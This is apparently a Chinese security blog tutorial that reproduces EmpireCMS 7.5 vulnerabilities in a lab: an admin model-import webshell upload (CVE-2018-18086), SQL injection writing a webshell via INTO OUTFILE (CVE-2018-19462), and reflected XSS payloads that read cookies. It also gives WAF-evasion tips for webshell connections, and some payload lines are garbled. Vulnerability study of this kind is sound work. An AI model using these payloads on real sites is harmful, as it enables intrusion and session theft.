Web安全 | EmpireCMS漏洞常見漏洞分析及復現
前言
本文將對EmpireCMS(帝國cms)的漏洞進行分析及復現。代碼分析這一塊主要還是借鑒了大佬們的一些分析思想,這里對大佬們提供的思路表示衷心的感謝。
環境搭建
帝國cms的默認安裝路徑為http://localhost/e/install,進入安裝一直往下



到連接數據庫這一步,mysql版本可以選擇自動識別,也可以自己選擇相應版本,這里數據庫如果在本地就填寫localhost(127.0.0.1)。
這里也可以選擇遠程連接vps的服務器,但是前提是vps上的數據庫開啟了遠程連接
首先找到/etc/mysql/my.conf
找到bind-address = 127.0.0.1這一行注釋掉(此處沒有也可以忽略)
然后新建一個admin用戶允許遠程登錄并立即應用配置即可
grant all on *.* to admin@'%' identified by '123456' with grant option; flush privileges;

點擊下一步就會自動在數據庫生成一個empirecms的數據庫并在其中建立許多個表

然后再設置進入后臺管理員的密碼

下一步即可安裝完成,這里提示要刪除路徑避免被再次安裝,但是這個地方其實設置了兩層保護,即使你訪問install這個路徑會有一個.off文件在路徑下,需要將這個.off文件刪除后才能再次安裝


輸入設置的后臺管理員用戶名和密碼即可進入管理員后臺

漏洞原理及復現
后臺getshell(CVE-2018-18086)
漏洞原理
EmpireCMS 7.5版本及之前版本在后臺備份數據庫時,未對數據庫表名做驗證,通過修改數據庫表名可以實現任意代碼執行。
EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函數存在安全漏洞,攻擊者可利用該漏洞上傳任意文件。
源碼分析
主要漏洞代碼位置
//導入模型
//導入模型
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
轉到LoadInMod定義
在localhost/EmpireCMS/e/class/moddofun.php找到上傳文件的定義
//上傳文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
UpdateTbDefMod($tid,$tbname,$mid);
文件包含
上傳文件處使用time().makepassword(10)進行加密文件名
//取得隨機數
function make_password($pw_length){
$low_ascii_bound=48;
$upper_ascii_bound=122;
$notuse=array(58,59,60,61,62,63,64,91,92,93,94,95,96);
while($i<$pw_length)
{
if(PHP_VERSION<'4.2.0')
{
mt_srand((double)microtime()*1000000);
}
mt_srand();
$randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
if(!in_array($randnum,$notuse))
{
$password1=$password1.chr($randnum);
$i++;
}
}
return $password1;
}
下方代碼@include($path)直接包含文件,因此可以通過添加創建文件的代碼繞過。
漏洞復現
來到導入系統模型的頁面

本地準備一個1.php并改名為1.php.mod,注意這里需要用\$進行轉義,存放的數據表名需要填一個數據庫內沒有的表名,點擊上傳
php file_put_contents("getshell.php","?>");?>


導入成功后訪問一下生成shell看能不能訪問得到,沒有報錯是可以訪問到的,那么證明已經上傳成功了


再用蟻劍連接即可

幾個實戰中遇到的坑
1.有waf報錯500

500很容易聯想到禁止web流量,那么我們上傳的一句話木馬默認情況下是不進行加密的,所以很容易被waf識別并攔截。
解決方法:使用蟻劍自帶的base64編碼器和解密器即可成功上線,這里也可以用自己的編碼器和解密器繞過waf攔截

2.不能使用冰蝎、哥斯拉馬
因為要在$之前加\轉義,冰蝎轉義后的php.mod應該如下圖所示

上傳到模型處就無回顯

實戰小技巧
如果有waf攔截web流量就走加密傳輸,如果始終連接不上就要一步步的進行排查。這里可以在一句話密碼后面輸出一個echo 123,通過是否有回顯來探測哪一步沒有完善導致連接不成功

代碼注入 (CVE-2018-19462)
漏洞原理
EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代碼注入漏洞。
該漏洞源于外部輸入數據構造代碼段的過程中,網路系統或產品未正確過濾其中的特殊元素。攻擊者可利用該漏洞生成非法的代碼段,修改網絡系統或組件的預期的執行控制流。
主要漏洞代碼位置
執行sql語句處


分析源碼定位漏洞出現的位置在localhost/EmpireCMS/e/admin/db/DoSql.php,對sqltext進行RepSqlTbpre函數處理
//運行SQL語句
function ExecSql($id,$userid,$username){
global $empire,$dbtbpre;
$id=(int)$id;
if(empty($id))
{
printerror('EmptyExecSqlid','');
}
$r=$empire->fetch1("select sqltext from {$dbtbpre}enewssql where id='$id'");
if(!$r['sqltext'])
{
printerror('EmptyExecSqlid','');
}
$query=RepSqlTbpre($r['sqltext']);
DoRunQuery($query);
//操作日志
insert_dolog("query=".$query);
printerror("DoExecSqlSuccess","ListSql.php".hReturnEcmsHashStrHref2(1));
}
轉到定義RepSqlTbpre,發現只對表的前綴做了替換
//替換表前綴
function RepSqlTbpre($sql){
global $dbtbpre;
$sql=str_replace('[!db.pre!]',$dbtbpre,$sql);
return $sql;
}
轉到定義DoRunQuery,對$query進行處理。
對$sql參數只做了去除空格、以;分隔然后遍歷,沒有做別的限制和過濾,導致可以執行惡意的sql語句
//運行SQL
function DoRunQuery($sql){
global $empire;
$sql=str_replace("\r","",$sql);
$ret=array();
$num=0;
foreach(explode(";",trim($sql)) as $query)
{
$queries=explode("",trim($query));
foreach($queries as $query)
{
$ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
}
$num++;
}
unset($sql);
foreach($ret as $query)
{
$query=trim($query);
if($query)
{
$empire->query($query);
}
}
}
payload
用select ... into outfile語句寫入php一句話木馬,但是這里需要知道存放的絕對路徑,這里可以使用一個phpinfo()用第一種方法傳上去
php file_put_contents("getshell.php","?>");?>

訪問即可打出phpinfo

這里只是找到了php的絕對路徑,還不是web所存儲的路徑,這時候查看源代碼搜索DOCUMENT_ROOT查詢網站所處的絕對路徑

用select ... into outfile語句寫入php一句話木馬
select '' into outfile 'C:/phpStudy/PHPTutorial/WWW/EmpireCMS/e/admin/Get.php'

看到上傳已經成功

訪問一下是存在的

直接上蟻劍連接即可

實戰中的一些坑
我們知道secure_file_priv這個參數在mysql的配置文件里起到的是能否寫入的作用,當secure_file_priv = 為空,則可以寫入sql語句到數據庫,當secure_file_priv = NULL,則不可以往數據庫里寫sql語句,當secure_file_priv = /xxx,一個指定目錄的時候,就只能往這個指定的目錄里面寫東西
這個地方很明顯報錯就是限制數據庫的導入跟導出,這里很明顯判斷secure_file_priv = NULL,所以當實戰中出現在這種情況下是不能夠用這種方法的

如果在本地可以修改或添加secure_file_priv = 這一行語句

后臺xss
原理分析
漏洞類型:反射型xss
漏洞文件:localhost/EmpireCMS/e/admin/openpage/AdminPage.php
漏洞原理:該漏洞是由于代碼只使用htmlspecialchars進行實體編碼過濾,而且參數用的是ENT_QUOTES(編碼雙引號和單引號),還有addslashes函數處理,但是沒有對任何惡意關鍵字進行過濾,從而導致攻擊者使用別的關鍵字進行攻擊
源碼分析
主要漏洞代碼位置localhost/EmpireCMS/e/admin/openpage/AdminPage.php
$leftfile=hRepPostStr($_GET['leftfile'],1); $mainfile=hRepPostStr($_GET['mainfile'],1);
利用hRepPostStr函數進行過濾,跳轉到該函數的定義如下
function hRepPostStr($val,$ecms=0,$phck=0){
if($phck==1)
{
CkPostStrCharYh($val);
}
if($ecms==1)
{
$val=ehtmlspecialchars($val,ENT_QUOTES);
}
CkPostStrChar($val);
$val=AddAddsData($val);
return $val;
}
用ehtmlspecialchars函數進行HTML實體編碼過濾,其中ENT_QUOTES - 編碼雙引號和單引號。
function ehtmlspecialchars($val,$flags=ENT_COMPAT){
global $ecms_config;
if(PHP_VERSION>='5.4.0')
{
if($ecms_config['sets']['pagechar']=='utf-8')
{
$char='UTF-8';
}
else
{
$char='ISO-8859-1';
}
$val=htmlspecialchars($val,$flags,$char);
}
else
{
$val=htmlspecialchars($val,$flags);
}
return $val;
}
要利用htmlspecialchars函數把字符轉換為HTML實體
用CkPostStrChar函數對參數進行處理
function CkPostStrChar($val){
if(substr($val,-1)=="\\")
{
exit();
}
}
獲取字符末端第一個開始的字符串為\\,則退出函數
用AddAddsData函數對參數進行處理
function AddAddsData($data){
if(!MAGIC_QUOTES_GPC)
{
$data=addslashes($data);
}
return $data;
}
如果沒有開啟MAGIC_QUOTES_GPC,則利用addslashes函數進行轉義
addslashes()函數返回在預定義字符之前添加反斜杠的字符串
網頁輸出
然而輸出的位置是在iframe標簽的src里,這意味著之前的過濾都沒有什么用。iframe標簽可以執行js代碼,因此可以利用javascript:alert(/xss/)觸發xss

payload
payload如下:
192.168.10.3/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_3ZvP9=dQ7ordM5PCqKDgSmvkDf&mainfile=javascript:alert(/xss/)
其中ehash是隨機生成的,在登錄時可以看到ehash_3ZvP9=dQ7ordM5PCqKDgSmvkDf,如果缺少這個hash值,則會提示非法來源

獲取cookie信息payload
192.168.10.3/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_3ZvP9=dQ7ordM5PCqKDgSmvkDf&mainfile=javascript:alert(document.cookie)

前臺xss
原理分析
漏洞類型:反射型xss
漏洞文件:localhost/EmpireCMS/e/ViewImg/index.html
漏洞原理:url地址經過Request函數處理之后,把url地址中的參數和值部分直接拼接當作a標簽的href屬性的值和img標簽的src標簽的值
主要漏洞代碼位置localhost/upload/e/ViewImg/index.html
if(Request("url")!=0){
document.write("+Request("url")+"\" target=\"_blank\">+Request("url")+"\" border=0 class=\"picborder\" onmousewheel=\"return bbimg(this)\" onload=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");
}
通過Request函數獲取地址欄的url參數,并作為img和a標簽的src屬性和href屬性,然后經過document.write輸出到頁面。
function Request(sName){ /* get last loc. of ? right: find first loc. of sName +2 retrieve value before next & */ var sURL = new String(window.location); var iQMark= sURL.lastIndexOf('?'); var iLensName=sName.length; //retrieve loc. of sName var iStart = sURL.indexOf('?' + sName +'=') //limitation 1 if (iStart==-1) {//not found at start iStart = sURL.indexOf('&' + sName +'=')//limitation 1 if (iStart==-1) {//not found at end return 0; //not found } } iStart = iStart + + iLensName + 2; var iTemp= sURL.indexOf('&',iStart); //next pair start if (iTemp ==-1) {//EOF iTemp=sURL.length; } return sURL.slice(iStart,iTemp ) ; sURL=null;//destroy String}
通過window.location獲取當前url地址,根據傳入的url參數,獲取當前參數的起始位置和結束位置
payload
url地址經過Request函數處理之后,然后把url地址中的參數和值部分直接拼接當作a標簽的href屬性的值和img標簽的src標簽的值
http://localhost/upload/e/ViewImg/index.html?url=javascript:alert(document.cookie)
當瀏覽器載入一個Javascript URL時,它會執行URL中所包含的Javascript代碼,并且使用最后一個Javascript語句或表達式的值,轉換為一個字符串,作為新載入的文檔的內容顯示。

